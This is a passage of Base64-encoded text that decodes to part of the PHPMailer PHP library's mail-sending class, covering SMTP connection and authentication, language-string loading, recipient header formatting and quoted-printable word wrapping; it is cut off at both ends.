sbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIH